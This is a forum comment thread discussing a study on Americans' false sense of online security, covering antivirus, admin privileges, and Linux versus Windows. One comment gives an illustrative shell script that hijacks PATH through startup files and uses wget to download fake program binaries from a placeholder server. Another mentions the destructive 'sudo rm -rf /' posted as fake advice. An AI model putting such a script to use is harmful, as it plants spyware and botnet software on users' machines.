Most In US Have False Sense of Online Security

BaCa sends along a link from Net-Security on a study of attitudes among Americans about the security of their PCs, versus their actual vulnerability. "More than half of computer users who think they are protected against online threats like spyware, viruses, and hackers actually have inadequate or no online protection, according to an independent research study conducted for Verizon... While 92 percent of participants thought they were safe, the scans revealed that 59 percent were actually vulnerable to a variety of online dangers. Ninety-four percent of those surveyed said they would find it helpful to be able to diagnose or check their online security status on a regular basis to make sure their PCs were safe."

Comments

Frosty Piss

[wanderingknight]

Actually, if you're really conscious about what you click, why would you need so many security layers?

Re:Frosty Piss

[Anonymous Coward]

Indeed. The greatest threat to online banking is a phisihing site - something that a firewall and a virus scanner provide exactly zero protection against.

(After all, firewalls cannot tell the difference between you clicking a link and, well, you clicking a different link.)

Virus scanners, spyware scanners and firewalls provide no protection against threats.

Re:Frosty Piss

[wanderingknight]

Wha...? Now moderators only read the thread name! Well, that's really nice of you.

Re:Frosty Piss

[Anonymous Coward]

You're saying 'being careful where you click' can substitute for other security measures? Alright, I concede that not going to 'dodgy' pr0n and warez sites might reduced the *frequency* at which you come across malware. But there are repeated instances where 'respectable' sites serve up malware, typically via embedded links to infected advertisers, but sometimes natively. So you really need to take exactly the same precautions whether or not you are 'careful where you click'. And if these precautions are good, you shouldn't need to be 'careful'.

Re:Frosty Piss

[wanderingknight]

It goes beyond "clicking". No matter how many layers of security you add, any user with administrative access to a PC can hose it. Social engineering is one of the main causes behind the number of infected computers in botnets today. The only way to completely prevent malware from entering a PC is to restrict what the user can and can't do--which would be not giving administrative privileges at all.

Of course, we have silly design principles like Windows' "Everyone's administrator by default!" concept, but even in Linux you can get a user to hose his or her PC by applying social engineering and luring him into running a script with administrative privileges. This was seen not too long ago in the Ubuntu forums, where random sockpuppet accounts were posting "sudo rm -rf /" as a solution in lots of threads in the Beginners section, making lots of clueless people delete their entire filesystem. There's no practical solution to user stupidity.

At least once a year...

[betterunixthanunix]

At least once a year, these results come out in yet another study. Perhaps we should declare a new holiday: False Sense of Security Day (and of course, False Sense of Security Eve, when a hacker in a Santa suit constructs an enormous botnet and takes down a few small mailservers with spam).

Re:At least once a year...

[iminplaya]

False Sense of Security Day

It would be on the anniversary of the signing of the patriot act.

So many political jokes to make about this...so little time to post them all

Re:At least once a year...

[secPM_MS]

This should be called the neverending story. Unfortunately, I think that name is already taken by a children's book. The query is a bit inappropriate. I am not safe simply if I have my AV and anti-malware SW installed and updated. I MAY be safer, but the AV and anti-malware SW can itself be a vulnerability.

Increasingly, the attacks are made at the application level, not the OS level. The OS can protect itself from a non-administrative user, but cannot be expected to protect itself from an administrative user who has been fooled into doing something inappropriate. The AV and anti-malware SW try to protect against known issues, but it is a best effort sort of thing.

If you are browsing, do you have javascript, java, flash, etc. enabled? If so, you have the neat functionality, but you are very vulnerable to compromise by hostile / compromised web servers.

If you are running as a normal (non-administrative) user such compromise can compromise anything you do. If you are running as an administrative user such a compromise can compromise your system (in Vista, you would have to OK the UAC prompt).

If you open .pdf attachements or pdf's on web sites, is your pdf reader fully updated? Exploitable security issues have been found routinely in certain pdf readers.

If you open Microsoft Office documents, is your Office software fully updated? Numerous attacks have been launched via such documents. Office 2007 has far fewer vulnerabilities than Office 2003. Note that using OpenOffice does not inherently protect you. The same type of vulnerabilities exist in OpenOffice.

If you have Apple's QuickTime, do you keep it updated? It has had large numbers of vulnerabilities.

Then we can go into the world of media and games, where many vulnerabilities exist and all too often the application in question is internet facing.

If you want ease of use, feature richness, and dynamic extensibility, you are not going to have a high level of "security / assurance". A web world of static HTML without any scripting and limited media is quite safe - but it is not what the customers want. A similarily restricted application functionality set can be made truly safe as well, but is not what customers want. Users feel comfortable and safe with what they routinely work with, even if this is inherently dangerous. This is as true for computer users as it is for industrial / research workers, who tend to get a bit casual about even truly dangerous issues (I used to be an industrial safety officer in research laboratories).

Re:At least once a year...

[jackpot777]

(rimshot) Don't forget to tip your waitresses...(!)

Re:At least once a year...

[Anonymous Coward]

Granted most programs have inherent vulnrabilities, but the biggest factor isnt what people have installed but where they go online. If you dont visit questionable sites your secure from most threats. Hotmail, while evil, isnt as likely to give you any problems as warez-are-us.com (i dont know if that is an actual site)

Re:At least once a year...

[Anonymous Coward]

Now there's an idea!
Anybody feel like setting up a website?

Re:At least once a year...

[HansF]

Problem is most people can't make those assertions.
Furthermore, it quite possible that 'respected' sites are serving malware without even knowing it.
So what happens if a respected site, is serving drive-by-download ads from google adsense?

Re:At least once a year...

[vtcodger]

***If you are running as a normal (non-administrative) user such compromise can compromise anything you do. If you are running as an administrative user ...***

All the data that I actually care about compromising is in my user account so it's at risk no matter what. I suppose that I really should move my financial and other sensitive stuff to a different user account that never uses the internet. I don't know anyone who does that and I've never seen it in a list of security suggestions.

And I don't see anything that prevents my user account from being used in Denial Of Service attacks against external servers. Or that prevents my user account from attacking servers of any sort on my local PC or on the intranet. And what -- other than the fact that it's probably not necessary -- is to stop the virus maker from including a selection of privilege escalation exploits in his bundle of aggravation?

Overall, I think that the Don't_Run_As_Admin_And_You'll_Be_OK lot are another bunch of folks with a false sense of security. I'd fault them because unlike naive users, they should know better. (However, running as admin in a multiuser environment really does put other users at additional risk).

While we're talking about false sense of security, let's don't forget the smug Mac and Linux users. We don't need virus checkers. More accurate would be We don't need virus checkers yet. Both systems are built with the same flawed by design technologies used to build Windows. If we insist in coding in a language that permits buffer overflows, we are probably going to have buffer overflows. Same for many other attacks on sloppy/incomplete/nonexistent legality checking, etc. Carbon/Cocoa/Linux are by no means immune from these problems even if there are few current attacks.

I also strongly suspect that the biggest current positive factor preventing a total PC security meltdown is the use of NAT routing which strongly discourages unsolicited attacks on non-server PCs. What's going to happen when/if ipv6 comes along and NAT routing goes away?

Re:At least once a year...

[secPM_MS]

If you are using your machine as a single user system you are clearly right. The data you care about is in your user account. It is easier to clean up a user-space compromise than an administrator compromise, where you probably have to flatten the system and rebuild.

I have kids who use my systems. They run under normal accounts (The biggest security advantage of Vista is that normal accounts run well, unlike XP) and hence can mess up their own accounts, but are not so likely to mess up my account.

User accounts can perform DOS's and network attacks against other systems every bit as easily as administrator accounts, but it is easier for administrative tools to monitor the behavior of user accounts than it is for these tools to monitor the action of things running as system.

Re:At least once a year...

[sm62704]

Any sense of security is a false sense of security. But you know what? I'm as secure as I need to be.

All my DVDs and videotapes were stolen recently. As none of the windows or door locks seem to have been compromised, it was surely an inside job - someone I'd trusted. You remployer likewise is more likely to have the system compromised from the inside than from an outsider breaking into your servers.

Does this mean I shouldn't have locks on my doors? Of course not. But like a corporate IT breakin, the worst part is that I don't know who I can trust, and you can't go through life trusting nobody. It hurts to know that someone I thought was a friend stole from me.

Is the average house secure? Of course not. Even if I had bank vaults for doors, all a burglar would have to do is break a window.

Is the average home computer secure? Yes, the average home computer running Windows is secure. There's nothing there to steal! Most people DON'T keep private info on their computer. If my house were empty I'd have no beed to lock its doors. Spam and child porn? That's your problem, not mine!

Is there anything in town more secure than a bank vault? Hardly; yet banks still get robbed.

A couple of quotes that I shall not attribute, because you've heard them both before:

Anyone who would trade freedom for security deserves neither

Don't lay your treasure on Earth, where thieves can steal it, and dust and moths can corrupt it.

Sound advice. AFAIK my computer's never been broken into, except of course when Sony tricked my daughter into installing a rootkit. I've had my home broken into (not the latest inside job; a door was broken and stereo stolen 30 years ago), but as with Sony and its rootkits, my meatspace losses from fraudulent businessmen and the corporations they run have far exceeded losses from non-corporate thieves. And I've had two chip fans bite the dust.

Secure? There is no such thing. Secure enough? Yes. Most people ARE secure enough.

-mcgrew

Re:At least once a year...

[Terrasque]

Maybe we should have a system that keeps all installed software updated, and notifies you when there is a new update avaliable. We could create packages for the programs, and let some program .. lets call it a package manager .. control installation, uninstallation, and updating. In fact you could make huge repositories on the internet with tons of packages, that the package manager could then download from and install with just a few clicks from the user.

Some kind of system like that would rock, but would just be too complicated, I'm afraid.

On a serious note, is there a system like that for win? I have seen some halfhearthed attempts, but nothing really useful.

Re:At least once a year...

[secPM_MS]

It is not really infeasible. One of the changes with Vista was the ability for an enterprise to set a trusted root(s) for code installation. If the code uses the current installer and its manifest is signed by one of the trusted roots, the installer will automatically elevate itself and install the application, even though the user does not have the necessary permissions for the installation - and there are no elevation permission prompts.

Thus something akin to this exists with Vista for the enterprise space. The problem is far harder in the consumer space due to trust issues. You really don't want everybody installing trusted installation roots. When everything just works, everything works for the attacker as well.

Re:At least once a year...

[Jim_Callahan]

I dunno, my reaction was "Wether they're vulnerable or not, if they haven't actually been infected or hacked, then it's not a false but a legitimate sense of security". Thinking nothing is probably going to happen is not the same thing as thinking nothing can happen.

Re:At least once a year...

[DaleGlass]

While we're talking about false sense of security, let's don't forget the smug Mac and Linux users. We don't need virus checkers. More accurate would be We don't need virus checkers yet.

Linux doesn't need virus checkers for a simple reason: The distribution of executable code is much different than on Windows.

Viruses on Windows distribute mainly through mail attachments these days. On Linux where you need to save and chmod +x a file the barrier to entry is much higher. Linux users also for the most part don't deal with binaries from random sources, they get them from the distribution.

Linux also lacks the braindead design of Windows software with concepts like ActiveX, and documents with executable content (MS Office formats).

Most software used on Linux is free, so anybody can have it. That removes a big vector of nasty stuff: cracked software and keygens.

One of the jobs of a distribution is shipping the software properly tested and packaged. Unlike on Windows, I don't know of any distribution that ships any package with embedded spyware or attached junk like the Google toolbar.

These things combined ensure that while a virus is something that is technically doable in Linux, in practice it just doesn't spread around.

This leaves worms, but virus checkers aren't going to save you from that, since many of them only exist in memory. You could catch the network packets they send, but nothing new is needed for this as it exist already, it's called an IDS.

Re:At least once a year...

[Anonymous Coward]

Viruses on Windows distribute mainly through mail attachments these days. On Linux where you need to save and chmod +x a file the barrier to entry is much higher.

Viruses on Windows propogate through mail attachments, yes, but not just programs: they propogate through pictures and documents that use exploits in the programs that read them to execute code without any user intervention. Once code is running, it can take advantage of local privilege escalation exploits (or just pop up a gksudo window and trick the user into elevating its privileges through social engineering) and bang, you've been rooted!

Linux also lacks the braindead design of Windows software with concepts like ActiveX, and documents with executable content (MS Office formats).

This is just totally not true. ActiveX is conceptually pretty much the same thing as Linux technologies like D-Bus. And there are many types of document commonly used on Linux platforms that can have executable content. (In Emacs, with the right setting enabled, even a plain text document could execute arbitrary code by design. The setting is off by default and carries large warning labels, but it's there.)

Linux is not a virus target at the moment, but that's not because it's perfectly secure -- it's just because it's more secure, and since Windows is both easier to infect and has more users, it's a much more attractive target. It is likely that even if malware writers turned their full attention to attacking Linux, they would never be so successful against it as they are against Windows... but that doesn't mean they wouldn't have any success at all.

Re:At least once a year...

[geekboy642]

The important difference between ActiveX and D-Bus is that ActiveX (with the right settings, DEFAULT in some windows versions) will automatically download code from the Internet and execute it with no warning or prompt. There's no scenario in which D-Bus--a mechanism for pre-existing installed applications to interact--can do the same.

Re:At least once a year...

[Anonymous Coward]

oth systems are built with the same flawed by design technologies used to build Windows. If we insist in coding in a language that permits buffer overflows, we are probably going to have buffer overflows.

"a language that permits buffer overflows"? That would be any language with finite buffers.

Until we come up with a way of making infinite buffers, there will always be data that is bigger than the buffer, and thus a need to check for this, and make sure it is handled correctly.

Notice the last two words. That's the important thing. "Correctly" depends on the application, and no language is able to figure out what "correctly" is on it's own. The programmer simply HAS TO make the program check inputs, no matter what language he is using.

But, "Java will not let you overwrite the stack", you say. No, but what does it do instead? Think about it for a moment. It throws an exception. Is that exception handled correctly? The compiler cannot check that, it can only check that it *is* handled. It can be handled in different ways. Some take the "Windows 95" solution of having one big try/catch, and throwing up a "general error, please reboot to continue". Cool, now we have a buffer overflow causing a denial of service attack.

Others actually try to do it right, but get it wrong anyway. Put one big try/catch around the login/password check, and when the login buffer overruns, it will jump to the catch after the password check. Whoops, the password is never checked.

Until we have "do what I mean" languages, making the compiler check it is not possible. Unfortunately, "do what I mean" means an intelligent compiler, which thinks in the same way as the programmer (how else will it know what he means?). This of course means that the compiler will tend to make the same mistakes as he do.

Thus, the infinite buffer is the only solution.

Re:At least once a year...

[DaleGlass]

Viruses on Windows propogate through mail attachments, yes, but not just programs: they propogate through pictures and documents that use exploits in the programs that read them to execute code without any user intervention. Once code is running, it can take advantage of local privilege escalation exploits (or just pop up a gksudo window and trick the user into elevating its privileges through social engineering) and bang, you've been rooted!

Note that I'm not claiming Linux can't be rooted. Duh, of course it can. I'm claiming that the way it works makes it hard for viruses to spread.

This is just totally not true. ActiveX is conceptually pretty much the same thing as Linux technologies like D-Bus. And there are many types of document commonly used on Linux platforms that can have executable content. (In Emacs, with the right setting enabled, even a plain text document could execute arbitrary code by design. The setting is off by default and carries large warning labels, but it's there.)

The default makes all the difference. On Windows, using ActiveX is a necessity if you're ever going to use Windows Update. On Linux nothing of the sort is the norm. AFAIK, D-Bus doesn't download code from the Internet.

While in theory it's quite possible to make a Linux system execute random code downloading from the net, in practice this isn't the default and so it's just not viable to make a virus that takes advantage of that.

Note that IMO this isn't as much as a matter of Linux being better as of Windows being horribly stupid. Kill ActiveX completely, make any sort of macros in office documents be disabled by default without asking the user whether to turn them on, remove any support for filesystem access or anything that could allow the virus in a document to spread, make sure mail clients don't offer the possibility of executing, and it'll get a lot better.

Re:At least once a year...

[Tailsfan]

If you are a Linux-user, should you care?

Re:At least once a year...

[secPM_MS]

No.

Verizon + online bank security

[UbuntuDupe]

I don't know how good Verizon is at online bank security. I mean ... how safe can you be when you look at your bank account and can't distinguish .02 dollars and .02 cents?

*ducks*

Re:Verizon + online bank security

[kobaz]

Hah, am I the only one who got that?

Old news

[Billosaur]

It's not like this hasn't been noted before: PEBKAC Still Plagues PC Security. Your average user firmly believes what they are told by "experts" or the guy who sells them the computer. They are not web-savvy and don't dig into the background on computer security. They think that all they have to do is run their spyware remover and update their anti-virus and their fine. Heck, too many don't even know they have such utilities, and if the do know, aren't actually aware if they are running or not!

Computer security must be taken out of the hands of the user where the user is likely to not have a clue how it works.

Re:Old news

[Spy der Mann]

They think that all they have to do is run their spyware remover and update their anti-virus and their fine.

Exactly. As if removing the spyware also went back in time and actually prevented the spyware from HAVING SPIED on you already!

Re:Old news

[ByOhTek]

Computer security must be taken out of the hands of the user where the user is likely to not have a clue how it works.

But then you have the problems of

(a) who do they trust to do it. Part of the reason for this problem is that the user is too trusting, and will download/run anything properly "padded" with the right context. What's to keep them from trusting Joes Bot Shop for their security?

(b) when they do need something setup/installed quickly, it could be problematic for them to wait for the person/people in charge of security.

(c) the extra cost if they don't have family/friends who are sufficiently competant and have the time?

While taking it out of their hands might be a good idea, it might also not be feasable.

Re:Old news

[Bert64]

Spyware removal is flawed, the focus should be on preventing it getting there in the first place.
Same with viruses.

The big problem is that people believe the hype..
"Windows $version is the most secure windows ever!"
"$program makes your machine secure"
Rather than being vigilant, they believe the hype around some product claiming to take away all the security risks.

End users really need managed workstations, managed by people who know what they're doing.
Or perhaps kiosk style systems for browsing, booted from non writable media, perhaps with a writable memory card to store your personal settings (with no ability to execute anything on the memory card).

Someone should do that, create a standard for a bootable CD/DVD, which loads settings from a removable media device (usb stick, memory card etc) but strictly prevents any code being executed (mount the removable device noexec?).

Re:Old news

[ByOhTek]

except most good antiviruses/antispyware checks for incoming stuff, not just what is already there. So it can still be useful.

Not as useful as a good sense of paranoia, but quite useful.

Re:Old news

[Billosaur]

My idea is that the security has to be built-in. An application, web or standalone, has to be built to be secure enough that it would not require the user's intervention (or outside third-party software) to secure it. As to the user's too dumb not to click on links in Viagra emails, well I'm of two minds. On the one hand, the Darwin idea -- if you're not smart enough to avoid the pitfall, then natural selection takes over and your computer is hash when it gets overrun by viruses/trojans. On the other hand, my original principle holds: if the systems are designed to be as secure as possible, then they should be able to survive low-grade attacks, so that even those morons would gain some sort of protection. But if their stupidity exceeds a certain limit, then they will just have to suffer the consequences.

Re:Old news

[Frosty Piss]

Your average user firmly believes what they are told by "experts" or the guy who sells them the computer. They are not web-savvy and don't dig into the background on computer security. They think that all they have to do is run their spyware remover and update their anti-virus and their fine.

And why shouldn't they? Honestly, "average users" shouldn't have to be computer security experts. Average users use computers to play or do productivity tasks unrelated to software development and computer science. The fact is, the average user shouldn't have to be "computer savvy" and running spyware cleaners should do just that. Blaming "average users" for the fact that such dangers exist is missing the point.

Re:Old news

[Cro Magnon]

Exactly. As if removing the spyware also went back in time and actually prevented the spyware from HAVING SPIED on you already!

That's why you need a Mac. It has a Time Machine.

Re:Old news

[ByOhTek]

The problem is, short of a secure list of what can install/run (like application branding, properly implemented), and absolute prohabition of running non-branded applications, nothing can save the users from themselves.

You have the trade off of "flexibility" and "security".

As a rough example - if a user downloads and runs this in their system:

fixed for lameness filter

START
bashbang/bin/sh
STARTUPS EQUALS ".bashrc .cshrc .shrc .login" #add more to be more versatile

bash create our h4x0red bin dir
mkdir tilde/.bin

bash put it in the start of the path on all shells
for f in $STARTUPS
do
    if [ "$f" EQUALS ".bashrc" -o "$f" EQUALS ".shrc" -o "$f" EQUALS ".login" ]
    then
        echo "export PATH EQUALS "~/.bin;$PATH" >> $f
        echo "~/.bin/my_custom_bot" >> $f
    #... one for each syntax
    fi
done

bash download the fake apps
FAKES EQUALS "which ls firefox firefox1.5 firefox2.0 opera lynx mail evolution kmail pine elm mutt sh my_custom_bot" bash need more?
cd ~/.bin
for prog in $FAKES
do
    bash clever hackers would put something here to fetch via IRC or FTP, but I'm not good enough
    wget http://some_server/hacked/${uname -s}/${uname -r}/$prog
done
STOP

And now the user has spyware and is part of a botnet. (The bot application would check to see if it is already running, if not, startup and try to fork a daemon, if it cant do that, it'll run in the background.)

As long as you use a regular system as can be found in UNIX, how can you prevent users from causing problems like that without (a) sacrificing flexibility and interoperability, and/or (b) having a highly skill administrator to keep an eye on them?

Re:Old news

[Spy der Mann]

Rather than being vigilant, they believe the hype around some product claiming to take away all the security risks.

A friend told me that his computer at work is filled with viruses because his coworkers always ask him to read chain mails and stuff. When a message pops up about a dangerous program, they tell him: "Hit OK, the computer's protected by an antivirus, so no problem".

As if the antivirus actually prevented the programs from doing harm once they begin executing.

The sad part, is that he can't enforce any kind of policies because the computer doesn't belong to him, but to the company he works for. And the company doesn't give a damn. They believe viruses are just "how it is".

Thank you, Microsoft. Really. :-/

Re:Old news

[PitaBred]

Make home directories non-executable, and set up the profiles to only get their startup config from a location other than the home directory, one that's protected from user writing? It wouldn't be that hard.

Re:Old news

[ByOhTek]

and you immediately lose a lot of the flexibility a user would want on their home system, for example - to add a program they find they need.

If I'm working on my system and I find I don't have an advanced photo editor that I want/need, I could not install it on my system with what you described, UNLESS there was a way around the unwriteable execution directories - and in that case the hackers could get around that too.

Re:Old news

[Billosaur]

That's my point. Security should be something that is taken out of the hands of the average user. They shouldn't be expected to become security experts. They should be taught how to be a little more web-savvy. I hear a commercial all the time on the radio in NYC for CyberStreetSmart.org, which is run by the New York Public Interest Research Group (NYPIRG), trying to do just that. The commercial is compelling because they say (paraphrasing) "If someone came up to you on the street and said they had a million dollars to give you and all you had to do is give them $1000 to get it, you'd laugh at them, but on-line, most people don't think twice." That's why security has to be built-in rather than added-on: the average user has been sold the idea that the Internet is magic. They don't apply the same rules to information there that they would to things that happen to them directly.

Re:Old news

[Speare]

The fact is, the average user shouldn't have to be "computer savvy" and running spyware cleaners should do just that. Blaming "average users" for the fact that roadway dangers exist is missing the point.

I'll agree with that sentiment to a point, but only to a point.

The fact is, the average car driver shouldn't have to be "car savvy" and autopilot functions should do just that. Blaming "average drivers" for the fact that such dangers exist is missing the point.

To say that end users shouldn't have to concern themselves with the details of computers on an untrusted network is to say that the computer should have a bullet-proof security system, it should be an appliance as trouble-free as a clothes-iron. Security is not a product, it's a process; the security landscape is not static, it is ever-changing. Couple this with the general dynamic that security is inversely proportional to convenience, and/or vulnerability is proportional to flexibility. I'll take the slightly inconvenient, highly flexible computers we have today. Every user should know something of the basics of security, and it's a false ideal to build infinitely inflexible, inconvenient, but secure machines.

Re:Old news

[Repossessed]

Extending the car analogy... no, you don't need to know how to take apart and rebuild an engine in order to drive, It helps if you know enough to be able to tell if the mechanic is feeding you a line. But other than that, you do need to know that maitenance needs to be done. Not paying for antivirus updates is kinda like not ever getting your oil changed.

Scarier than people without antiviruses though, are the people who think that just having an antivirus (any antivirus) protects them. Partly you have people who just don't understand that the antivirus vendors are lousy at catching spyware, and partly it's people who just don't get that McAfee/Trendmicro/AVG just aren't that good. (Yes, Norton is a Virus, but out of the AVs with name recognition, it's the only one I'd trust to shine my shoes, let alone protect my family's computers, so it tends to be best with people who insist on a brand they recognize).

I can't really blame people for not understanding there's a difference in quality of AVs either. A couple of years ago, before I started dealing with machines that use inferior tools on a day to day basis, I would have told you to just get AVG.

Re:Old news

[Anonymous Coward]

Car and computers are much much different things. Your little story is idiotic.

Re:Old news

[inode2]

I can't believe anybody didn't mention Linux in this conversation on security. While not all distributions automatically update every program many do automatically patch security vulnerabilities. In this system security is dependent on package maintainers. Just because Microsoft and Apple don't have a system in place doesn't mean it isn't feasible. It is feasible as many Linux distributions have done a great job of it. Zonbu is even trying to take this a step further by adding remote web backup /w encryption features to its systems. I realize people here have lives and need to make a living, but I also think we technical users need to rearrange our priorities and refuse to buy or use MS Windows-only or Mac only software. Stand up, learn Linux, and start migrating to open source and cross-platform software already. Just because your business or company relies on MS Windows software today and will tomorrow doesn't mean you shouldn't prepare to migrate. Start talking to software and hardware companies about your migration plans. If you let reality decide things for you how do you think we'll get anywhere?

Re:Old news

[Bert64]

That's microsoft's legacy...
They've convinced people that viruses, unreliability, security holes, having to run a stack of anti this anti that programs that cripple performance etc, are just "how it is"...
The world now thinks that computers are horrendously unreliable insecure buggy and over complicated devices, all thanks to microsoft.

It does help Apple tho, i know quite a lot of people who thought like I described above, and once they were finally convinced to buy a mac, were absolutely overjoyed and never looked back.

Stone Cold had it right

[Anonymous Coward]

DTA: Don't Trust Anybody

Re:Stone Cold had it right

[Cro Magnon]

I trust that advice.

Completely content-free

[$RANDOMLUSER]

* Spyware Protection: When asked how safe they felt their home PC was from spyware, 92 percent of respondents felt "safe" or "somewhat safe." In contrast, the Verizon Security Advisor scan revealed that the majority (58 percent) were "at risk" or "potential risk" from spyware infection. Nineteen percent were critically "at risk" from spyware infection.
* Virus Protection: When asked how safe they felt their home PC was from viruses, 92 percent of respondents felt "very safe" or "somewhat safe," whereas the Verizon Security Advisor scan revealed that 45 percent were "at risk" or "potential risk" from virus infection.
* Firewall Protection: Nineteen percent of respondents had their personal firewall turned off.

Please define "at risk", "potential risk", "critically at risk".
And by "personal firewall" do you mean that POS built into XP, or the POS from Symantec? Or do you mean the router firewall?

Re:Completely content-free

[Sockatume]

In addition, I'm curious as to what "Verizon Security Advisor" is. The only references I can find to it are, uh, people reporting this story...

I have absolute faith

[ackthpt]

this missive is stored on a secure server.

My name is Milo T. Farnsworth, D.O.B 27/07/1974 My Switch number is 3975-4438-0098-2310, expry 04/09

Please take care of this, I will be on an extended trip for the next 2 months, during which I will require great use of my $10,000 credit limit.

Re:I have absolute faith

[alienmole]

Could you check those details, please? My purchase of a 62" HDTV is being declined, and I need it to watch Stargate reruns tomorrow night.

Online security - HA , Stolen 1949 Chevy Saga

[benadamsdotcom]

Even after meeting online criminals in person, they still tried to rip me off. Fortunately, I tracked them down and got them. Stolen and Recovered 1949 Chevy Saga

Re:Online security - HA , Stolen 1949 Chevy Saga

[gazbo]

My favourite part of that story is the first picture showing the news with the SHOCKING headline "Thief uses Internet".

XP

[truthsearch]

Doesn't XP have a big green light that tells users they're secure with a firewall and anti-virus protection? If an OS tells an average user they're secure, even if they're only marginally more secure, I wouldn't expect the average user to question it.

Re:XP

[PhxBlue]

Doesn't XP have a big green light that tells users they're secure with a firewall and anti-virus protection?

Only with SP2. But you can bet a lot of folks aren't using SP2, or even Windows XP, for that matter. Windows 2000, 98, 95, ME ... they're all still out there; Microsoft has stopped supporting them, and in many cases, so have software developers.

Re:XP

[Billosaur]

Most people have a yellow light on their dashboard that tells them when they are running low on gas, and yet people still run out of gas. I suspect most people wouldn't know what the green light meant if you asked them.

Re:XP

[arminw]

.....If an OS tells an average user they're secure..........

How about if almost all articles everywhere, tell people that malware exploit xxxxx works only on computers running Windows? Would users not eventually conclude from that to make their next computer one that runs something OTHER than Windows? Maybe that is why Mac and Linux users rightly feel pretty secure. Has anyone here ever read an article in a reputable computer rag reporting the actual infection of millions, thousands or even hundreds of computers that were NOT running Windows?

Oh of course, someone will invariably bring up the stupid old "market share" or installed base argument. OK then, get a Linux or Mac system and stop floating down the river like so many dead fish and swim upstream and get away from all the scavengers. You WILL be more secure in your computing life.

I tell Windows users that asks me for advice on their next computer: If you have little money and lots of time to learn, get Linux. It will run well on your present hardware If you have more money and little time, get a new Mac. Either way your computer is much more secure than staying with Windows.

Re:XP

[Kingrames]

Especially when the red light matches the desktop background so much better.

Re:XP

[Fireshadow]

Reminds me - what's that old joke? The "E" stands for "Enough gas"?

The best protection is a smart user.

[CastrTroy]

I don't have any virus scanner or malware blocker, or firewall or any kind of security software whatsoever installed on my computer. Actually, I have clamwin, but I only run it once a week. It never finds any viruses. Yet I would say that I'm adequately protected because I have a brain. I don't run software from sites I don't trust. I use Firefox, which doesn't have a history of letting websites run malicious code, and I try to stay on sites that I trust. I have a router, and no incoming ports are forwarded to my PC, so I'm safe in that way I guess. At work I have Norton installed, because it has to be. To date, it has blocked 0 spyware, 0 viruses, and 0 worms. Because it hasn't encountered any, because I practice safe computing. It hasn't actually done anything except slow my computer down. What a great waste of money that was.

Re:The best protection is a smart user.

[Phaldor]

> Firefox not having a history of letting websites run malicious code

You obviously do not pay too much attention to the news. There was one just released that had to do with Quicktime and Firefox. I know of several others where Firefox was either named specifically or generally, and why do you think they update their browser so often? More features? Get real dude, most of those updates are SECURITY VULNERABILITY fixes.

Re:The best protection is a smart user.

[Phaldor]

Ok, since I picked on you once, I do have to say that you are headed in the right direction. Users need to get a clue, particularly about allowing malicious code on their own systems through their own actions. You can have the best software and hardware protection money can buy or provide, but if the user doesn't understand safe computing practices, he's as good as the hacker himself sitting at the keyboard behind the protection.

Think of it this way, if you don't use a condom (or similar birth control device, including sterilization) for protection during herterosexual sex, what makes you think that you can guarantee that you won't get pregnant? Even if you use the condom, but don't use it correctly, there's no guarantee either. Listen up people, you have to get smart about your choices. The Futurama movie that just got released underlines this in a way that is humorous, but extremely pointed. Learn about safe computing, practice it, live it every day, and never let your guard down for any reason. I hate to be that way, but it's the only way to increase your chances that you won't be hit by a virus/trojan/malware/spyware bug.

A real life example, I had a customer (who will remain nameless), that came to me because his computer was running really slow. I fixed him up, educated him as much as I could, and sent him on his way. He called me up not more than a week later complaining about the same problem. I went over and discovered that he had downloaded the SAME THINGS THAT CAUSED the computer to break in the first place.....I told him this time he'd have to pay me. I haven't heard from him again, but he didn't pay me either so I have to assume his computer is still broke. Obviously, you can't help the ID-10-T's of the world....

I suppose my message to the masses is: If it looks too good to be true, it probably is.

Re:The best protection is a smart user.

[wizardforce]

as opposed to IE where we are either not aware of these little vulnerabilities or they are just not fixed. Firefox is by no measure "perfect" but it has a history of actually fixing bugs and has a number of extensions that make Firefox much more easily secured. Opera is very similar in this regard, it has a number of features which make it a much better browser to use out of the box.

Re:The best protection is a smart user.

[BunnyClaws]

I am an avid user of Firefox but even I will admit that Firefox has more than a few vulnerabilities. If you think surfing the net without an active AV keeps you safe from malicious code on the net, well, lets just say, you have a false sense of online security. Hey, I tied in the article's title to my post!!!

Seriously, If you want to browse the web without AV and feel safe. Shell into your favorite Linux box and browse with "Links"

Re:The best protection is a smart user.

[Anonymous Coward]

You are assuming it is obvious to everyone of all the potential angles a computer can be compromised and that every user should know how to protect their machines against them. Most of the basics of just using a computer aren't completely obvious to everyone, not because people are "stupid" but because they might not use the computer much or might not have gotten as much practice/experience in doing the sorts of things that improve one's general knowledge of computers. Why do you assume that those same people who aren't experts at using their computer are going to learn and fully understand computer security concepts in a single day of talking to you?

Re:The best protection is a smart user.

[CastrTroy]

Yes, but Firefox updates it's browser (quickly) to account for the vulnerabilities. Also, like I said, I try to stay off sites I don't trust, so the odds of me encountering a site that has malicious code on it, between the time the vulnerability is discovered, and the time it is fixed is actually quite low. I'm probably not completely safe, but no amount of virus protection software will make you completely safe. So the best thing to do is just practice safe computing. I could run a fulltime virus scanner, but it just slows my computer down, and I've never seen it stop anything.

Re:The best protection is a smart user.

[Phaldor]

I have no expectations that they will become experts, but I would like to see them take away a basic rule set that will improve their chances that they will avoid the pitfall of malicious code. Just like driving a car, a computer requires one to undergo some training and maintenance to completely understand it and become safer when operating the device. Right now, none is needed, although many sell these services, the general public doesn't recognize that these services should be taken seriously. All the public sees is money leaving their pocket, and they treat them like the warrantee, they completely ignore it after being told how much it costs. You wouldn't do that with car insurance, would you? Although it costs, you still pay it, sometimes because the state makes you, but more often because you realize that if you crash your car and don't have insurance, you're screwed. Even if you aren't screwed, you're still out more money than if you actually paid the insurance. My point here is that it is the users RESPONSIBILITY to become educated, and that ignoring this responsibility will and is resulting in the problem we have today.

Re:The best protection is a smart user.

[mh1997]

Think of it this way, if you don't use a condom (or similar birth control device, including sterilization) for protection during herterosexual sex, what makes you think that you can guarantee that you won't get pregnant?

The tag on my penis has the following:

In consideration of God, creator of the universe issuing a guarantee to the owner of this penis in accordance with arrangements made under the creation of the universe regarding the biology of mankind done at planet earth on the 1st of January 0000 (Universal God Time), or the customs convention regarding penis use and for temporary use of goods done at the Universe on the 1st January 0000 (Universal God Time). I guarantee payment to you on demand of all or any such sum or sums of money as you may require or are called upon to pay in respect of customs duties and other charges relating to use of your penis failing to prevent your pregnancy (as well as any fee therefore) which this guarantee applies and such demand shall constitute sufficient evidence that moneys demanded by you are due and payable by Me without further enquiry. My liability hereunder shall not be limited.

Instructions for completing the guarantee.

1. The guarantee should be written on the official notepaper of the Guarantee (Bible).

2. An official representing the guaranteeing body, who has authority to do so, should sign the Guarantee; the capacity of the signatory must be shown.

